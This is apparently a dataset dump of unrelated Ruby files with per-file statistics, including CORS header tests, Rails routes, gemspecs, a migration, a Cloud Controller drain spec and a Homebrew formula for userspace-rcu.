ENV['API_CORS_ALLOW_INSECURE_ORIGINS'] = 'true'
get '/api/v1/accounts/me', headers: auth_header.merge(origin_header)
expect(response).to be_success
expect(response.headers['Access-Control-Allow-Origin']).to eq(ranger_url)
expect(response.headers['Access-Control-Allow-Credentials']).to eq('false')
expect(response.headers['Access-Control-Allow-Methods']).to eq('GET, POST, PUT, PATCH, DELETE')
expect(response.headers['Access-Control-Allow-Headers']).to eq('Origin, X-Requested-With, Content-Type, Accept, Authorization')
ENV['API_CORS_ALLOW_INSECURE_ORIGINS'] = nil
end
end
context 'when API_CORS_ORIGINS does not match origin' do
before { ENV['API_CORS_ORIGINS'] = frontend_url }
after { ENV['API_CORS_ORIGINS'] = nil }
it 'does not set CORS headers with OPTIONS' do
reset! unless integration_session
integration_session.send :process, 'OPTIONS', '/api/v1/accounts/me', headers: origin_header
expect(response).to be_success
expect(response.headers['Access-Control-Allow-Origin']).to eq(nil)
expect(response.headers['Access-Control-Allow-Credentials']).to eq(nil)
expect(response.headers['Access-Control-Allow-Methods']).to eq(nil)
expect(response.headers['Access-Control-Allow-Headers']).to eq(nil)
end
it 'does not set CORS headers with GET' do
get '/api/v1/accounts/me', headers: auth_header.merge(origin_header)
expect(response).to be_success
expect(response.headers['Access-Control-Allow-Origin']).to eq(nil)
expect(response.headers['Access-Control-Allow-Credentials']).to eq(nil)
expect(response.headers['Access-Control-Allow-Methods']).to eq(nil)
expect(response.headers['Access-Control-Allow-Headers']).to eq(nil)
end
end
context 'when API_CORS_ORIGINS matches origin' do
before do
ENV['API_CORS_ORIGINS'] = "#{ranger_url}, #{frontend_url}"
ENV['API_CORS_ALLOW_CREDENTIALS'] = 'true'
end
after do
ENV['API_CORS_ORIGINS'] = nil
ENV['API_CORS_ALLOW_CREDENTIALS'] = nil
end
it 'sends CORS headers when requesting using OPTIONS' do
reset! unless integration_session
integration_session.send :process, 'OPTIONS', '/api/v1/accounts/me', headers: origin_header
expect(response).to be_success
expect(response.headers['Access-Control-Allow-Origin']).to eq(ranger_url)
expect(response.headers['Access-Control-Allow-Credentials']).to eq('true')
expect(response.headers['Access-Control-Allow-Methods']).to eq('GET, POST, PUT, PATCH, DELETE')
expect(response.headers['Access-Control-Allow-Headers']).to eq('Origin, X-Requested-With, Content-Type, Accept, Authorization')
end
it 'sends CORS headers when requesting using GET' do
get '/api/v1/accounts/me', headers: auth_header.merge(origin_header)
expect(response).to be_success
expect(response.headers['Access-Control-Allow-Origin']).to eq(ranger_url)
expect(response.headers['Access-Control-Allow-Credentials']).to eq('true')
expect(response.headers['Access-Control-Allow-Methods']).to eq('GET, POST, PUT, PATCH, DELETE')
expect(response.headers['Access-Control-Allow-Headers']).to eq('Origin, X-Requested-With, Content-Type, Accept, Authorization')
end
it 'sends CORS headers ever when user is not authenticated' do
get '/api/v1/accounts/me', headers: origin_header
expect(response).to have_http_status 401
expect(response.headers['Access-Control-Allow-Origin']).to eq(ranger_url)
expect(response.headers['Access-Control-Allow-Credentials']).to eq('true')
expect(response.headers['Access-Control-Allow-Methods']).to eq('GET, POST, PUT, PATCH, DELETE')
expect(response.headers['Access-Control-Allow-Headers']).to eq('Origin, X-Requested-With, Content-Type, Accept, Authorization')
end
it 'sends CORS headers when invalid parameter supplied' do
post '/api/v1/accounts', params: {}, headers: origin_header
expect(response).to have_http_status 400
expect(response.headers['Access-Control-Allow-Origin']).to eq(ranger_url)
expect(response.headers['Access-Control-Allow-Credentials']).to eq('true')
expect(response.headers['Access-Control-Allow-Methods']).to eq('GET, POST, PUT, PATCH, DELETE')
expect(response.headers['Access-Control-Allow-Headers']).to eq('Origin, X-Requested-With, Content-Type, Accept, Authorization')
end
end
end
| 47.769912 | 133 | 0.709707 |
d581ce1243964dbfa8f4a7539dd4cdc416f006f9 | 655 | Rails.application.routes.draw do
# For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
get 'elements/index', to: 'elements#index'
get 'elements/layout', to: 'elements#layout'
get 'elements/typography', to: 'elements#typography'
get 'elements/colour', to: 'elements#colour'
get 'elements/icons_images', to: 'elements#icons_images'
get 'elements/data', to: 'elements#data'
get 'elements/buttons', to: 'elements#buttons'
get 'elements/form', to: 'elements#form'
get 'elements/errors', to: 'elements#errors'
get 'elements/banners', to: 'elements#banners'
root to: 'elements#index'
end
| 34.473684 | 101 | 0.722137 |
ff9c06882f7880af72ee3d77728ebfb3a2936c5d | 103 | require "ftw/namespace"
# :nodoc:
module FTW
# The version of this library
VERSION = "0.0.42"
end
| 12.875 | 31 | 0.679612 |
28cf6c174c900f0fa236fb543ba780f6196938e2 | 201 | if ENV["RAILS_ENV"] == "production"
worker_processes 2 # amount of unicorn workers to spin up
else
worker_processes 1
end
timeout 30
# this is required for New Relic to log data
preload_app true
| 18.272727 | 59 | 0.761194 |
18e04645d067d7678b2fbd1ae1aa0f49e5abbe4a | 292 | module HTTP
# Generic error
class Error < StandardError; end
# Generic Request error
class RequestError < Error; end
# Generic Response error
class ResponseError < Error; end
# Request to do something when we're in the wrong state
class StateError < ResponseError; end
end
| 20.857143 | 57 | 0.736301 |
6243f41dbd7416c9cb88122db7bf3787e3e10762 | 2,051 | # -*- encoding: utf-8 -*-
Gem::Specification.new do |s|
s.name = "kramdown"
s.version = "1.9.0"
s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
s.authors = ["Thomas Leitner"]
s.date = "2015-10-01"
s.description = "kramdown is yet-another-markdown-parser but fast, pure Ruby,\nusing a strict syntax definition and supporting several common extensions.\n"
s.email = "[email protected]"
s.executables = ["kramdown"]
s.files = ["bin/kramdown"]
s.homepage = "http://kramdown.gettalong.org"
s.licenses = ["MIT"]
s.rdoc_options = ["--main", "lib/kramdown/document.rb"]
s.require_paths = ["lib"]
s.rubygems_version = "2.0.14.1"
s.summary = "kramdown is a fast, pure-Ruby Markdown-superset converter."
if s.respond_to? :specification_version then
s.specification_version = 4
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_development_dependency(%q<minitest>, ["~> 5.0"])
s.add_development_dependency(%q<coderay>, ["~> 1.0.0"])
s.add_development_dependency(%q<rouge>, ["~> 1.8"])
s.add_development_dependency(%q<stringex>, ["~> 1.5.1"])
s.add_development_dependency(%q<prawn>, ["~> 2.0"])
s.add_development_dependency(%q<ritex>, ["~> 1.0"])
s.add_development_dependency(%q<itextomml>, ["~> 1.5"])
else
s.add_dependency(%q<minitest>, ["~> 5.0"])
s.add_dependency(%q<coderay>, ["~> 1.0.0"])
s.add_dependency(%q<rouge>, ["~> 1.8"])
s.add_dependency(%q<stringex>, ["~> 1.5.1"])
s.add_dependency(%q<prawn>, ["~> 2.0"])
s.add_dependency(%q<ritex>, ["~> 1.0"])
s.add_dependency(%q<itextomml>, ["~> 1.5"])
end
else
s.add_dependency(%q<minitest>, ["~> 5.0"])
s.add_dependency(%q<coderay>, ["~> 1.0.0"])
s.add_dependency(%q<rouge>, ["~> 1.8"])
s.add_dependency(%q<stringex>, ["~> 1.5.1"])
s.add_dependency(%q<prawn>, ["~> 2.0"])
s.add_dependency(%q<ritex>, ["~> 1.0"])
s.add_dependency(%q<itextomml>, ["~> 1.5"])
end
end
| 40.215686 | 158 | 0.618235 |
1c8a99370830fbf24808dde30526678c31408131 | 297 | class CreateMainTasks < ActiveRecord::Migration[5.1]
def change
create_table :main_tasks do |t|
t.string :name, required: true
t.datetime :planned_finish, required: true
t.references :user, index: true, null: false, foreign_key: true
t.timestamps
end
end
end
| 22.846154 | 69 | 0.683502 |
6132da0cdfc33dfbd9d9a1306b3c0d3ecee043c0 | 553 | # frozen_string_literal: true
module GraphQL
module FragmentCache
module Ext
# Add ability to access fragments via `context.fragments`
# without dupclicating the storage logic and monkey-patching
refine GraphQL::Query::Context do
def fragments?
namespace(:fragment_cache)[:fragments]
end
def fragments
namespace(:fragment_cache)[:fragments] ||= []
end
def loaded_fragments
namespace(:fragment_cache)[:loaded] ||= {}
end
end
end
end
end
| 23.041667 | 66 | 0.627486 |
e95199a94948d67885963f1c71a9dac02598a511 | 3,897 | require 'spec_helper'
require 'cloud_controller/drain'
module VCAP::CloudController
describe Drain do
let(:log_dir) { Dir.mktmpdir }
subject(:drain) { Drain.new(log_dir) }
def log_contents
File.open(File.join(log_dir, 'drain', 'drain.log')) do |file|
yield file.read
end
end
let(:pid) { 23456 }
let(:pid_dir) { Dir.mktmpdir }
let(:pid_path) { File.join(pid_dir, 'pidfile') }
before do
File.open(pid_path, 'w') do |file|
file.write(pid)
end
# Kernel methods must be stubbed on the object instance that uses them
allow(drain).to receive(:sleep)
end
after do
FileUtils.rm_r(pid_dir)
FileUtils.rm_r(log_dir)
end
describe '#unregister_cc' do
before do
allow(Process).to receive(:kill).with('USR2', pid)
end
it 'sends USR2 to the process specified in the pid file' do
drain.unregister_cc(pid_path)
expect(Process).to have_received(:kill).with('USR2', pid)
end
it 'sleeps while it waits for the router unregistration' do
expect(drain).to receive(:sleep).at_least(:once)
drain.unregister_cc(pid_path)
end
it 'logs that it sends the signal to CC and is waiting for the router unregistration' do
drain.unregister_cc(pid_path)
log_contents do |log|
expect(log).to match("Sending signal USR2 to cc_ng with pid #{pid}.")
expect(log).to match('Waiting for router unregister')
end
end
it 'logs if the process no longer exists' do
allow(Process).to receive(:kill).with('USR2', pid).and_raise(Errno::ESRCH)
drain.unregister_cc(pid_path)
log_contents do |log|
expect(log).to match('Pid no longer exists')
end
end
it 'logs if the process file no longer exists' do
allow(File).to receive(:read).with(pid_path).and_raise(Errno::ENOENT)
drain.unregister_cc(pid_path)
log_contents do |log|
expect(log).to match('Pid file no longer exists')
end
end
end
describe '#shutdown_nginx' do
before do
allow(Process).to receive(:kill).with('QUIT', pid)
end
it 'sends QUIT to the nginx process specified in the pid file' do
drain.shutdown_nginx(pid_path)
expect(Process).to have_received(:kill).with('QUIT', pid)
end
it 'sleeps while it waits for the pid file to be deleted' do
expect(File).to receive(:exist?).with(pid_path).and_return(true, true, false)
expect(drain).to receive(:sleep).exactly(2).times
drain.shutdown_nginx(pid_path)
end
it 'logs while it waits for the pid file to be deleted' do
expect(File).to receive(:exist?).with(pid_path).and_return(true, true, false)
drain.shutdown_nginx(pid_path)
log_contents do |log|
expect(log).to match(/Waiting \d+s for \w+ to shutdown/)
end
end
it 'logs that the process has stopped running when its pid file is deleted' do
expect(File).to receive(:exist?).with(pid_path).and_return(true, false)
drain.shutdown_nginx(pid_path)
log_contents do |log|
expect(log).to match(/\w+ not running/)
end
end
end
describe '#shutdown_cc' do
before do
allow(Process).to receive(:kill).with('TERM', pid)
end
it 'sends TERM to the cc process specified in the pid file' do
drain.shutdown_cc(pid_path)
expect(Process).to have_received(:kill).with('TERM', pid)
end
end
describe '#log_invocation' do
it 'logs that the drain is invoked with the given arguments' do
drain.log_invocation([1, 'banana'])
log_contents do |log|
expect(log).to match(/Drain invoked with.*1.*banana/)
end
end
end
end
end
| 27.638298 | 94 | 0.625353 |
f73c8aa377519d8042a11d5fe838f675458f789b | 1,553 | require 'spec_helper'
describe AmplitudeAPI::Identification do
user = Struct.new(:id)
context 'with a user object' do
describe '#body' do
it "populates with the user's id" do
identification = described_class.new(user_id: user.new(123))
expect(identification.to_hash[:user_id]).to eq(123)
end
end
end
context 'with a user id' do
describe '#body' do
it "populates with the user's id" do
identification = described_class.new(user_id: 123)
expect(identification.to_hash[:user_id]).to eq(123)
end
end
end
context 'without a user' do
describe '#body' do
it 'populates with the unknown user' do
identification = described_class.new(user_id: nil)
expect(identification.to_hash[:user_id]).to eq(AmplitudeAPI::USER_WITH_NO_ACCOUNT)
end
end
end
describe '#body' do
it 'includes the user id' do
identification = described_class.new(user_id: 123)
expect(identification.to_hash[:user_id]).to eq(123)
end
it 'includes the device id' do
identification = described_class.new(user_id: 123, device_id: 'abc')
expect(identification.to_hash[:device_id]).to eq('abc')
end
it 'includes arbitrary user properties' do
identification = described_class.new(
user_id: 123,
user_properties: {
first_name: 'John',
last_name: 'Doe'
}
)
expect(identification.to_hash[:user_properties]).to eq(first_name: 'John', last_name: 'Doe')
end
end
end
| 27.732143 | 98 | 0.654218 |
91e23159698d1091a9d758e2b1d77308434d56b4 | 1,152 | class UserspaceRcu < Formula
desc "Library for userspace RCU (read-copy-update)"
homepage "https://liburcu.org"
url "https://lttng.org/files/urcu/userspace-rcu-0.12.1.tar.bz2"
sha256 "bbfaead0345642b97e0de90f889dfbab4b2643a6a5e5c6bb59cd0d26fc0bcd0e"
livecheck do
url "https://www.lttng.org/files/urcu/"
regex(/href=.*?userspace-rcu[._-]v?(\d+(?:\.\d+)+)\.t/i)
end
bottle do
rebuild 1
sha256 cellar: :any, arm64_big_sur: "8d45763c520497f2a3062f4d4c7c9a291c956462e79fad11fc2f6bafc63ede75"
sha256 cellar: :any, big_sur: "16786f80939cc886441f4be7850c1ffc3cad092aaedcfb9a5d3f4bc08aa17edf"
sha256 cellar: :any, catalina: "87815b2af972d7e3596e639cec95b6da61436108dcb7380629c5f5b56785d513"
sha256 cellar: :any, mojave: "a5fc1494e06f10ab0aa2743dea422d94206248cc72ea504cc48dd0fb1837c780"
end
def install
args = %W[
--disable-dependency-tracking
--disable-silent-rules
--prefix=#{prefix}
]
system "./configure", *args
system "make"
system "make", "install"
end
test do
cp_r "#{doc}/examples", testpath
system "make", "-C", "examples"
end
end
| 31.135135 | 106 | 0.707465 |
d54fe729311b6cfa9c09ae2b149cc29e8b66211b | 1,289 | # coding: utf-8
lib = File.expand_path("../lib", __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require "oddsmaker/version"
Gem::Specification.new do |spec|
spec.name = "oddsmaker"
spec.version = Oddsmaker::VERSION
spec.authors = ["Paul Hoffer"]
spec.email = ["[email protected]"]
spec.summary = %q{Calculate and convert sportsbook betting odds, probabilities, wagers, and collections of odds.}
spec.description = %q{Convert and manipulate sportsbook betting odds (American, decimal, fractional) and probabilities. Calculate wagering profit and return, and calculate total probability and vig for a collection of odds.}
spec.homepage = "https://www.github.com/phoffer/oddsmaker"
spec.license = "MIT"
spec.files = `git ls-files -z`.split("\x0").reject do |f|
f.match(%r{^(test|spec|features)/})
end
spec.bindir = "exe"
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ["lib"]
spec.add_development_dependency "bundler", "~> 1.15"
spec.add_development_dependency "rake", "~> 10.0"
spec.add_development_dependency "minitest", "~> 5.0"
spec.add_development_dependency "simplecov"
spec.add_development_dependency "pry"
end
| 42.966667 | 228 | 0.688906 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.